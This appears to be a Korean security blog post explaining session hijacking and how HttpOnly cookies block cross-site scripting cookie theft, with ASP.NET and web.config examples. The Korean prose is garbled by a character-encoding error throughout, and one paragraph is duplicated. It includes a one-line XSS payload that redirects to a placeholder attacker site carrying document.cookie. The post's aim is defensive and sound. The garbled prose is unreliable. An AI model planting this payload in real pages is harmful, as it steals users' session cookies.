¾È±Ô °øºÎ¹æ

security > HTTPOnly Cookies - HTTPOnly Cookie ÀÌÇØÇϱâ (Cross Site Scripting ¹æÁö)

µî·ÏÀÏ : 2019-10-31 14:46 Á¶È¸¼ö : 52,914

Cookie¿¡ ´ëÇÑ ÀÌÇØ

ÄíÅ°´Â ASP.NET, PHP¿Í °°Àº ƯÁ¤ ±â¼ú¿µ¿ª¿¡ ±¹ÇÑµÈ °Íµµ ¾Æ´Ï°í, ƯÁ¤ Client³ª Server¿¡¸¸ ±¹ÇÑµÈ ±â¼úµµ ¾Æ´Õ´Ï´Ù. ÄíÅ°´Â ¼ö½Ê ³â ÀüºÎÅÍ »ç¿ëµÇ¾î ¿ÔÀ¸¸ç ÃÖ±Ù¿¡´Â HTTP¿¡ À־ ¾ø¾î¼­´Â ¾ÈµÉ Á¤µµ·Î ±¤¹üÀ§ÇÏ°Ô ÀÌ¿ëµÇ°í ÀÖ½À´Ï´Ù. ¾î¶°ÇÑ ¼­¹öµµ HTTPÅë½ÅÀ» ÇÑ´Ù¸é ÄíÅ°¸¦ ÁÖ°í ¹ÞÀ» ¼ö ÀÖÀ¸¸ç, Ŭ¶óÀ̾ðÆ®¿¡¼­µµ ÄíÅ°¿¡ Á¢±ÙÇÏ°í °ü¸®ÇÒ ¼ö ÀÖ½À´Ï´Ù. ¶ÇÇÑ HTTP¿Í HTTPS»çÀÌ¿¡µµ ÄíÅ°¸¦ ±³È¯ÇÒ ¼ö ÀÖÀ¸¸ç, °°Àº µµ¸ÞÀÎÀ̶ó¸é ¼­·Î ´Ù¸¥ SchemeÀÏÁö¶óµµ ÄíÅ°¸¦ °øÀ¯ÇÒ ¼ö ÀÖ½À´Ï´Ù.

ÄíÅ°´Â ¼­¹ö¿¡¼­µµ, Ŭ¶óÀ̾ðÆ®¿¡¼­µµ »ý¼ºÇÒ ¼ö ÀÖ½À´Ï´Ù. ÀÏ´Ü ÄíÅ°°¡ Çѹø »ý¼ºµÇ¸é ºê¶ó¿ìÀú´Â ÇØ´ç ÄíÅ° Á¤º¸¸¦ ±â¾ïÇÏ°Ô µË´Ï´Ù. ±×¸®°í ÀÌÈÄÀÇ ¸ðµç ¿äû(Request)¿¡ ÄíÅ°¸¦ Æ÷ÇÔÇÏ¿© ¼­¹ö·Î Àü´ÞÇÕ´Ï´Ù. ¼­¹ö´Â ºê¶ó¿ìÀúÀÇ ¿äû(Request)¿¡ Æ÷ÇÔµÈ ÄíÅ°¸¦ ÀÐ¾î µéÀÏ ¼ö ÀÖ½À´Ï´Ù.

ÄíÅ°¸¦ ÀÌÇØÇϴµ¥ ÀÖ¾î °¡Àå Áß¿äÇÑ ºÎºÐ Áß Çϳª´Â ÄíÅ°·Î ÀÎÇØ ¾ß±âµÇ´Â º¸¾ÈÀ§Çù¿¡ ´ëÇØ ÀÌÇØÇÏ´Â °ÍÀÔ´Ï´Ù. ¼ö¸¹Àº »çÀÌÆ®µé¿¡¼­ ¹Î°¨ÇÑ °³ÀÎÁ¤º¸¸¦ ÄíÅ°¿¡ ÀúÀåÇÏ°í ÀÖÀ¸¸ç, ÇØÄ¿µéÀº ´Ù¾çÇÑ ¹æ¹ýÀ¸·Î ÀÌ ÄíÅ°¸¦ Å»ÃëÇÏ°íÀÚ Çϱ⠶§¹®ÀÔ´Ï´Ù. ÀÌ·¯ÇÑ ÄíÅ°¿¡ ´ëÇÑ º¸¾È °ø°Ý Áß °¡Àå ´ëÁßÀûÀÎ °Í Áß Çϳª´Â ¹Ù·Î ¼¼¼Ç ÇÏÀÌÀçÅ·(Session hijacking) °ø°Ý ÀÔ´Ï´Ù.

¾Ë´Ù½ÃÇÇ HTTP´Â Stateless ÇÁ·ÎÅäÄÝÀÔ´Ï´Ù. HTTP´Â ±âº»ÀûÀ¸·Î »óÅÂÁ¤º¸¸¦ ±â¾ïÇÏÁö ¸øÇϱ⠶§¹®¿¡, ¼­¹ö´Â ¿äûÀÚ°¡ ´©±¸ÀÎÁö, °°Àº »ç¶÷ÀÎÁö ´Ù¸¥ »ç¶÷ÀÎÁö ½Äº° ÇÒ ¼ö ¾ø½À´Ï´Ù. ÀÌ·¯ÇÑ ¹®Á¦¸¦ ÇØ°áÇϱâ À§ÇØ, ¼­¹ö´Â »ç¿ëÀÚ ½Äº°Á¤º¸¸¦ ÄíÅ°¿¡ ÀúÀåÇϸç, ÄíÅ°¿¡ ÀúÀåµÈ Á¤º¸¸¦ ÅëÇØ °¢ »ç¿ëÀÚ¸¦ ±¸º°ÇÕ´Ï´Ù. ¿¹¸¦ µé¸é, ASP.NET ¼­¹ö´Â »ç¿ëÀÚ ¸¶´Ù À¯ÀÏÅ°¸¦ »ý¼ºÇÏ¿© .ASPXAUTH¶ó´Â À̸§ÀÇ ÄíÅ°¿¡ ÀúÀåÇϸç, À̸¦ ÅëÇØ »ç¿ëÀÚ¸¦ ½Äº°ÇÕ´Ï´Ù.

.ASPXAUTH=4A10163C1F3299AAADF4C90B2F56AE90F1502CF86CDE4F026A422D7820732A66445B16EECC79B47EEF4F4EF36CB7BF9AFD2A
[ºê¶ó¿ìÀúÀÇ ÄíÅ°¿¡ ÀúÀåµÈ »ç¿ëÀÚ ½Äº°Á¤º¸]

µû¶ó¼­ ÇØÄ¿°¡ ´Ù¸¥ »ç¿ëÀÚÀÇ ÄíÅ°¸¦ Å»ÃëÇÏ°Ô µÈ´Ù¸é, ÇØÄ¿´Â ÄíÅ°¿¡ Æ÷ÇÔµÈ »ç¿ëÀÚ ½Äº°Á¤º¸¸¦ ¹ÙÅÁÀ¸·Î ´Ù¸¥ »ç¿ëÀÚ·Î À§Àå ÇÒ ¼ö ÀÖ°Ô µË´Ï´Ù. ¼­¹ö´Â ÄíÅ°¸¦ ¹ÙÅÁÀ¸·Î »ç¿ëÀÚ¸¦ ½Äº°Çϱ⠶§¹®¿¡, ¿äûÀ» º¸³½ »ç¶÷ÀÌ ÇØÄ¿ÀÎÁö ¾Ë ¼ö °¡ ¾øÀ¸¸ç ¸ðµç ±ÇÇÑÀ» ³»¾îÁÖ°Ô µË´Ï´Ù.

ÄíÅ°¸¦ ÈÉÄ¡´Â ¹æ¹ýÀº ´Ù¾çÇÕ´Ï´Ù. ¿¹¸¦ µé¸é °ø°ø Wifi¸ÁÀÇ Åë½ÅÆÐŶÀ» ºÐ¼®Çϰųª, ISP»ç¾÷ÀÚÀÇ Åë½ÅÄÉÀ̺íÀ» °¨Ã»ÇÏ´Â ¹æ¹ýµµ ÀÖ½À´Ï´Ù. ¾Æ´Ï¸é, »ç¿ëÀÚ ÄÄÇ»ÅÍ¿¡ ½ÉÀº ÇØÅ·ÇÁ·Î±×·¥À» ÅëÇØ ÄíÅ°¸¦ °¡·Îä´Â ¹æ¹ýµµ ÀÖ½À´Ï´Ù.

HTTP Only Cookies

ÄíÅ°´Â Ŭ¶óÀ̾ðÆ®¿¡¼­ ÀÚ¹Ù½ºÅ©¸³Æ®·Î Á¶È¸ÇÒ ¼ö Àֱ⠶§¹®¿¡, ÇØÄ¿µéÀº ÀÚ¹Ù½ºÅ©¸³Æ®·Î ÄíÅ°¸¦ °¡·Îä°íÀÚ ½Ãµµ¸¦ ÇÏ°Ô µË´Ï´Ù. °¡Àå ´ëÇ¥ÀûÀÎ °ø°Ý Áß Çϳª°¡ CSS(Cross Site Scripting) ÀÔ´Ï´Ù.

location.href = 'http://ÇØÄ¿»çÀÌÆ®/?cookies=' + document.cookie;

ÇØÄ¿°¡ À§¿Í °°Àº °Ô½Ã¹°À» °ø°³°Ô½ÃÆÇ¿¡ ÀÛ¼ºÇÒ °æ¿ì, ÀÌ °Ô½Ã¹°À» ÀÐÀº ´Ù¸¥ »ç¿ëÀÚ´Â ¾Ë¾ÆÂ÷¸®±âµµ Àü¿¡ ÀÚ½ÅÀÇ ¸ðµç ÄíÅ°¸¦ ÇØÄ¿¿¡°Ô Àü¼ÛÇÏ°Ô µË´Ï´Ù.

ÀÌ·¯ÇÑ CSS Ãë¾àÁ¡À» ÇØ°áÇÏ´Â ¹æ¹ýÀº, ¹Ù·Î ºê¶ó¿ìÀú¿¡¼­ ÄíÅ°¿¡ Á¢±ÙÇÒ ¼ö ¾øµµ·Ï Á¦ÇÑÇÏ´Â °ÍÀÔ´Ï´Ù. ÀÌ·¯ÇÑ ¿ªÇÒÀ» ÇÏ´Â °ÍÀÌ ¹Ù·Î HTTP Only CookieÀÔ´Ï´Ù. °³¹ßÀÚ°¡ ´ÙÀ½°ú °°ÀÌ °£´ÜÇÑ Á¢¹Ì»ç¸¦ ÄíÅ°»ý¼ºÄڵ忡 Ãß°¡ÇÔÀ¸·Î½á È°¼ºÈ­ ÇÒ ¼ö ÀÖ½À´Ï´Ù.


°¡Àå ¸¶Áö¸·¿¡ HttpOnly¶ó´Â Á¢¹Ì»ç¸¸ Ãß°¡ÇÔÀ¸·Î½á HTTP Only Cookie°¡ È°¼ºÈ­ µÇ¸ç, À§¿¡¼­ ¸»ÇÑ XSS¿Í °°Àº °ø°ÝÀÌ Â÷´ÜµÇ°Ô µË´Ï´Ù.
HTTP Only Cookie¸¦ ¼³Á¤ÇÏ¸é ºê¶ó¿ìÀú¿¡¼­ ÇØ´ç ÄíÅ°·Î Á¢±ÙÇÒ ¼ö ¾ø°Ô µÇÁö¸¸, ÄíÅ°¿¡ Æ÷ÇÔµÈ Á¤º¸ÀÇ ´ëºÎºÐÀÌ ºê¶ó¿ìÀú¿¡¼­ Á¢±ÙÇÒ ÇÊ¿ä°¡
¾ø±â ¶§¹®¿¡ HTTP Only Cookie´Â ±âº»ÀûÀ¸·Î Àû¿ëÇÏ´Â °ÍÀÌ ÁÁ½À´Ï´Ù.

ASP.NET»ó¿¡¼­ HTTP Only Cookie¸¦ ¼³Á¤ÇÏ´Â ¹æ¹ýÀº ¸Å¿ì °£´ÜÇÕ´Ï´Ù. ÄíÅ°¸¦ Ãß°¡ÇÏ½Ç ¶§ HttpOnly ¼Ó¼ºÀ» true·Î ¼³Á¤ÇÏ½Ã¸é µË´Ï´Ù.

 Response.Cookies.Add(new HttpCookie("ÄíÅ°¸í")
{
 Value = "ÄíÅ° °ª",
 HttpOnly = true
});

HttpOnlyÀÇ ±âº»°ªÀº falseÀÔ´Ï´Ù. ¸¸¾à ±âº»°ªÀ» true·Î ¼³Á¤ÇϽ÷Á¸é web.config¿¡¼­ ´ÙÀ½°ú °°ÀÌ ¼öÁ¤ÇÏ½Ã¸é µË´Ï´Ù.
 
<httpCookies httpOnlyCookies="true" />


Set-Cookie: ÄíÅ°¸í=ÄíÅ°°ª; path=/; HttpOnly

°¡Àå ¸¶Áö¸·¿¡ HttpOnly¶ó´Â Á¢¹Ì»ç¸¸ Ãß°¡ÇÔÀ¸·Î½á HTTP Only Cookie°¡ È°¼ºÈ­ µÇ¸ç, À§¿¡¼­ ¸»ÇÑ XSS¿Í °°Àº °ø°ÝÀÌ Â÷´ÜµÇ°Ô µË´Ï´Ù. HTTP Only Cookie¸¦ ¼³Á¤ÇÏ¸é ºê¶ó¿ìÀú¿¡¼­ ÇØ´ç ÄíÅ°·Î Á¢±ÙÇÒ ¼ö ¾ø°Ô µÇÁö¸¸, ÄíÅ°¿¡ Æ÷ÇÔµÈ Á¤º¸ÀÇ ´ëºÎºÐÀÌ ºê¶ó¿ìÀú¿¡¼­ Á¢±ÙÇÒ ÇÊ¿ä°¡ ¾ø±â ¶§¹®¿¡ HTTP Only Cookie´Â ±âº»ÀûÀ¸·Î Àû¿ëÇÏ´Â °ÍÀÌ ÁÁ½À´Ï´Ù.

ASP.NET»ó¿¡¼­ HTTP Only Cookie¸¦ ¼³Á¤ÇÏ´Â ¹æ¹ýÀº ¸Å¿ì °£´ÜÇÕ´Ï´Ù. ÄíÅ°¸¦ Ãß°¡ÇÏ½Ç ¶§ HttpOnly ¼Ó¼ºÀ» true·Î ¼³Á¤ÇÏ½Ã¸é µË´Ï´Ù.

¸ðµç ASP ÆäÀÌÁöÀÇ »ó´Ü¿¡ ¾Æ·¡Ã³·³ À¥ÆäÀÌÁö Çì´õ°ªÀ» Ãß°¡ÇÔÀ¸·Î½á °£´ÜÇÏ°Ô Ã³¸® ÇÒ ¼öµµ ÀÖ´Ù.

Response.AddHeader "Set-Cookie", ""&CStr(Request.ServerVariables("HTTP_COOKIE"))&";path=/;HttpOnly"&""
¡Ø Ȥ½Ã µµ¿òÀÌ µÇ¼Ì´Ù¸é ´ñ±Û¿¡ ÇѸ¶µð ³²°ÜÁÖ¼¼¿ä!
ÀÛ¼ºÀÚ   ºñ¹Ð¹øÈ£
ÀÚµ¿±Û ¹æÁö     (ÀÚµ¿±Û ¹æÁö ±â´ÉÀÔ´Ï´Ù.)
³»¿ë   ´ñ±Û´Þ±â 
À̸ÞÀÏ ¹®ÀÇ : cak0280@nate.com  
Copyright 2000 By ENTERSOFT.KR All Rights Reserved.